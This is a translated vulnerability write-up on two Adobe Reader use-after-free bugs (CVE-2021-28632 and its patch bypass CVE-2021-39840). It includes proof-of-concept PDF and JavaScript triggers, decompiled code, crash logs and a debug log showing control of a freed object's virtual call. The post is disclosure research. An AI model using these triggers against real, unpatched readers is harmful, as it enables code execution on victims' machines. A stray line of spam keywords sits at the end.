<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-28632 & CVE-2021-39840: 繞過adobe reader中的鎖

    VSole2021-11-18 17:01:12

    前言

    這篇博文描述了我提交給 ZDI 的兩個 Adobe Reader 釋放后使用漏洞:一個來自 2021 年 6 月的補丁 ( CVE-2021-28632 ),一個來自 2021 年 9 月的補丁 ( CVE-2021-39840 )。關于這兩個bug的一個有趣方面是它們是相關的——第一個錯誤是通過模糊測試發現的,第二個錯誤是通過逆向工程發現的,它繞過第一個錯誤的補丁。

    CVE-2021-28632:了解字段鎖

    一天清晨,在對fuzz結果進行例行崩潰分析時,一個 Adobe Reader 崩潰引起了我的注意:

    ** Adobe Reader DC 2021.001.20135 
    eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8 eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0         nv up ei pl zr na pe nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 AcroForm!DllUnregisterServer+0xd0b45: 67147215 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????
    

    在經過幾個小時的樣本最小化和清理fuzzer生成的 PDF 文件后,最終簡化的PoC 如下所示(PDF部分僅限重要的內容):

    8 0 obj <<     /FT /Tx     /Kids [9 0 R]                    % [A]     /T (fieldParent) >> endobj 
    9 0 obj <<     /FT /Tx     /T (fieldChild) 
        /Type /Annot                    % [B]     /Subtype /Widget     /Rect [0 0 1 1] >> endobj
    

    JavaScript 部分:

    function callback() {     removeField("fieldChild");                        // [1] } 
    try {     fieldParent = getField("fieldParent");     fieldParent.setAction("Format", "callback()");    // [2]     fieldParent.textSize = 1;                         // [3] }catch(e) {     app.alert("exception: " + e) }
    

    崩潰是涉及到CPDField對象的一個UAF。CPDField對象是AcroForm.api的內部C++對象,在交互式表單中代表文本字段、按鈕字段等。

    在上面的PDF部分中,創建了兩個CPDField對象來代表兩個文本字段,名為fieldParent和fieldChild。這里需要注意的是,創建的對象是一個CTextField類型,它是CPDField的子類,用于文本字段。為了簡化討論,它們將被稱為CPDField對象。

    觸發該錯誤的一個重要因素是,fieldChild應該是fieldParent的子類,通過在fieldParent PDF對象字典的/Kidskey中指定它(見上文),正如PDF文件格式規范中所記載的那樣。

    與該bug有關的另一個重要概念是,為了防止CPDField對象在使用中被釋放,使用了一個名為LockFieldProp的內部屬性。CPDField對象的內部屬性是通過一個C++ map成員變量來存儲的。

    如果LockFieldProp不為零,意味著CPDField對象被加鎖,不能被釋放;如果它為零或未被設置,意味著CPDField對象被解鎖,可以被釋放。下面是PoC中兩個CPDField對象在調用字段鎖的代碼(后面會討論)之前的可視化表示:fieldParent是解鎖狀態(LockFieldProp為0),呈綠色,fieldChild也是解鎖狀態(LockFieldProp未設置),也呈綠色。

    在PoC的JavaScript部分,代碼設置了一個JavaScript回調,以便當fieldParent的 “Format “事件被觸發時,自定義的JavaScript函數callback()會被執行。然后JavaScript代碼通過設置fieldParent的textSize屬性來觸發 “Format “事件。在內部,這將執行AcroForm.api中JavaScript Field對象的textSize屬性設置器。

    AcroForm.api中textSize屬性設置器的第一個動作是針對fieldParent調用以下代碼加鎖。

    // Ghidra decompiled code // 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual) 
    CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field) {   uint16_t locked; 
      this->field = field;   this->locked = 0;   if (field != (CPDField *)0x0) {     locked = LockFieldPropGet(field);     if (locked == 0) {       LockFieldPropSet(this->field,1);    // [AA]       this->locked = 1;     }   }   return this; }
    

    上述代碼通過將其LockFieldProp屬性設置為1[AA],鎖定了傳遞給它的CPDField對象。

    執行字段加鎖代碼后,fieldParent(加鎖:紅色)和fieldChild(解鎖:綠色)的鎖狀態如下。

    注意在Adobe Reader的后期版本中,LockFieldProp的值是一個指向計數器的指針,而不是被設置為1或0的值。

    接下來,AcroForm.api中的textSize屬性設置器遞歸調用下面的CPDField方法,在這里發生了UAF。

    // Ghidra decompiled code // 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual) 
    void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2) {   // 1st call: `this` points to fieldParent   // 2nd call: `this` points to fieldChild 
      // [...] 
        if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){                // [aa] 
          // 1st call: `this` points to fieldParent 
          CPDField::getKidsHandle(this,&kidsHandle);       getHandleType = g_AcroRdObjFuncs->PDHandleGetType;       handleLo_ = (uint32_t)kidsHandle;       handleHi_ = kidsHandle._4_4_;       _guard_check_icall(getHandleType);       handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_));       if (handleType == PDHANDLE_TYPE_ARRAY) {         arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen;         handleLo__ = (uint32_t)kidsHandle;         handleHi__ = kidsHandle._4_4_;         _guard_check_icall(arrayGetLen);         kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__)); 
            // For each of the field's children, perform a recursive call 
            for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) {    // [bb]           arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex;           handleLo___ = (uint32_t)kidsHandle;           handleHi___ = kidsHandle._4_4_;           kidsIndex_ = kidsIndex;           _guard_check_icall(arrayGetItemAtIndex);           kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_);           field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1);           if (field != (CPDField *)0x0) { 
                // `field` will point to fieldChild 
                propagateNotification = field->vftable->propagateNotification;             uVar5 = param1;             uVar6 = param2;             _guard_check_icall(propagateNotification); 
                // perform recursive call with the `this` pointer pointing to fieldChild 
                (*propagateNotification)(field,uVar5,uVar6);                         // [cc]           }         }       }     }     else {       if (this->field_0x24 == 0) { 
            // 2nd call: `this` points to fieldChild 
            // Triggers a notification that results in the execution of the         // custom JavaScript callback() function that will free fieldChild 
            notify = this->vftable->notify;         uVar5 = param1;         _guard_check_icall(notify);         pCVar3 = (CPDField *)(*notify)(this,uVar5);                              // [dd] 
            // `this` pointer (fieldChild) is now a dangling pointer 
            // [...]       }     }     // [...]   }   return; }
    

    在第一次調用上述方法時,this指針指向加鎖的fieldParent CPDField對象。因為它沒有相關的部件[aa](上方[aa]處的代碼,下同),該方法執行了一個遞歸調用[cc],this指針指向fieldParent的每個子對象[bb]。

    因此,在第二次調用上述方法時,this指針指向fieldChild CPDField對象,由于它有一個相關的widget(見PoC中PDF部分的[B]),一個通知將被觸發[dd],導致自定義JavaScriptcallback()函數被執行。如上圖所示,加鎖代碼只鎖定了fieldParent,而fieldChild卻沒有被加鎖。因為fieldChild被解鎖了,自定義JavaScriptcallback()函數中的removeField(“fieldChild”)調用(見PoC中JavaScript部分的[1])成功地釋放了fieldChild CPDField對象。這導致遞歸方法中的this指針在[dd]的調用后成為一個懸掛的指針。隨后此懸掛指針被解引用,導致崩潰。

    這是第一個漏洞在2021年6月被Adobe修補,并分配給CVE-2021-28632。

    CVE-2021-39840:逆向補丁和繞過鎖

    我很好奇Adobe是如何修補CVE-2021-28632的,所以在補丁發布后,我決定看一下更新后的AcroForm.api。

    在逆向更新后的字段加鎖代碼時,我注意到添加了一個對加鎖傳遞字段的直接子類的方法的調用:

    // Ghidra decompiled code // 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048) // Except for "CPDField", all names are assumed (not actual) 
    CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field) {   uint16_t locked;   CPDField *field_; 
      this->field = field;   this->locked = 0;   if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) {     LockFieldPropSet(this->field,1);     field_ = this->field;     this->locked = 1;     if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) {       CPDField::lockUnlockKids(field_,1);    // Added call: Lock the field's immediate descendants     }   }   return this; }
    

    通過添加的代碼,fieldParent和fieldChild都將被加鎖,第一個錯誤的PoC將在釋放fieldChild時失敗。

    在評估更新后的代碼時,我產生了一個想法:由于加鎖代碼只額外鎖定字段的直系子類,如果該字段有一個非直系子類呢?我迅速將CVE-2021-28632的PoC修改為以下內容。

    PDF部分(只有重要部分)。

    9 0 obj <<     /FT /Tx     /Kids [10 0 R]     /T (fieldParent) >> endobj 
    10 0 obj <<     /FT /Tx     /T (fieldChild)     /Kids [11 0 R] >> endobj 
    11 0 obj                      % Added a grandchild field <<                            % fieldGrandChild is a grandchild of fieldParent     /FT /Tx     /T (fieldGrandChild) 
        /Type /Annot     /Subtype /Widget     /Rect [0 0 1 1] >> endobj
    

    JavaScript部分:

    function callback() {     removeField("fieldGrandChild");     // free the fieldGrandChild CPDField object } 
    try {     fieldParent = getField("fieldParent");     fieldParent.setAction("Format", "callback()");     fieldParent.textSize = 1; }catch(e) {     app.alert("exception: " + e) }
    

    然后在調試器下的Adobe Reader中加載更新后的PoC,點擊開始……然后崩潰了!

    ** Adobe Reader DC 2021.005.20048 
    (2568.2504): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0 eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0         nv up ei pl zr na pe nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 AcroForm!DllUnregisterServer+0xd0bb5: 637f73b5 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????
    

    補丁被繞過了,Adobe Reader在之前討論的遞歸方法中的同一位置崩潰了,和上一個UAF一樣。

    經過進一步分析,我確認下圖是調用遞歸方法時字段鎖的狀態。請注意,fieldGrandChild是解鎖狀態,因此,可以被釋放。

    遞歸的CPDField方法從指向fieldParent的this指針開始,接著用指向fieldChild的this指針調用自身,然后用指向fieldGrandChild的this指針再次調用自身。由于fieldGrandChild有一個附加的部件,釋放fieldGrandChild的JavaScriptcallback()函數被執行,有效地使this指針成為一個懸掛的指針。

    這是第二個漏洞在2021年9月被Adobe修補,并分配給CVE-2021-39840。

     控制字段對象

    通過JavaScript控制被釋放的CPDField對象是很直接的:在通過調用removeField()釋放CPDField對象后,JavaScript代碼可以用類似大小的數據或一個對象噴射占領堆塊,以替換被釋放的CPDField對象的內容。

    當我向ZDI提交報告時,包括了第二個PoC,它展示了對CPDField對象的完全控制,然后對一個受控的、虛函數表指針進行解引用。

    ** Adobe Reader DC 2021.005.20048 ** Debug log of PoC for CVE-2021-39840 
    [...] 
    eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8 eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0         nv up ei pl nz na po nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030          mov     esi,dword ptr [eax+30h] ds:002b:10100108=41414141 
    0:000> u AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030          mov     esi,dword ptr [eax+30h] 64c673dc 8bce            mov     ecx,esi 64c673de ff1544690965    call    dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check 64c673e4 8b4dec          mov     ecx,dword ptr [ebp-14h] 64c673e7 ffd6            call    esi    ; call using a controlled register (esi)
     
    

    總結

    對象樹的實現,特別是那些可以任意控制和銷毀對象的應用,很容易出現 “UAF”漏洞。對于開發者來說,必須特別注意對象引用跟蹤和對象鎖的實現。對于漏洞研究者來說,它們代表了發現有趣的漏洞的機會。

    譯文聲明

    譯文僅供參考,具體內容表達以原文為準。

    指針指針變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Tips:DLL 和 Shellcode 文件路徑使用絕對路徑;不論是 list 操作還是 inject 操作,都會嘗試開啟 DEBUG 權限;避免對同一進程交替進行 DLL 注入和 shellcode 注入或者重復進行 DLL 注入,可能會報錯 “被調用的對象已與其客戶端斷開連接。”,貌似是多次調用后遠程接口會被釋放掉;如果報錯 “不支持此接口 ”,就多試幾遍;并不是任何進程都能注入,只能對 list 動作顯示出來的進程進行注入技術原理。
    HOOK技術實戰
    2021-10-19 05:55:56
    對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。hook(鉤子)是一種特殊的消息處理機制,它可以監視系統或者進程中的各種事件消息,截獲發往目標窗口的消息并進行處理。所以說,我們可以在系統中自定義鉤子,用來監視系統中特定事件的發生,完成特定功能,如屏幕取詞,監視日志,截獲鍵盤、鼠標輸入等等。
    干貨 | HOOK技術實戰
    2021-10-16 10:09:27
    基礎知識對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。鉤子可以分為線程鉤子和系統鉤子,線程鉤子可以監視指定線程的事件消息,系統鉤子監視系統中的所有線程的事件消息。當前鉤子處理結束后應把鉤子信息傳遞給下一個鉤子函數。PE頭是固定不變的,位于DOS頭部中e_ifanew字段指出位置。
    從代碼視角來分析漏洞問題
    前文再續,書接上一回《Windows內核提權漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)?。
    接著是read_password函數,與read_name函數基本一致。在看最后的password_checker()前,我們用正確密碼測試文件,顯示段錯誤。查看password_checker,login與admin的密碼比較后,來了個奇葩的有毒打印,接著前面的二級函數終于被調用了。我們需要知道報錯原因,gdb調試發現正好是二級指針調用出錯。利用思路經過上面的初步分析,我們知道程序在password_checker中調用一個二級指針失敗而段錯誤終止,考慮到canary的存在,srop不可能短期實現。即使我們無法利用這個二級指針getshell,它的存在也會讓程序終止。
    逆向角度看C++部分特性
    Gh0st RAT變體分析
    2021-10-28 06:05:13
    普通模式下,該惡意進程通過sub_10017F40函數和sub_10017F00函數每隔50毫秒與C2服務器進行交互。發送給C2的數據都會通過sub_10004810函數進行加密,數據窗口中0x1E60938是加密后的數據。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类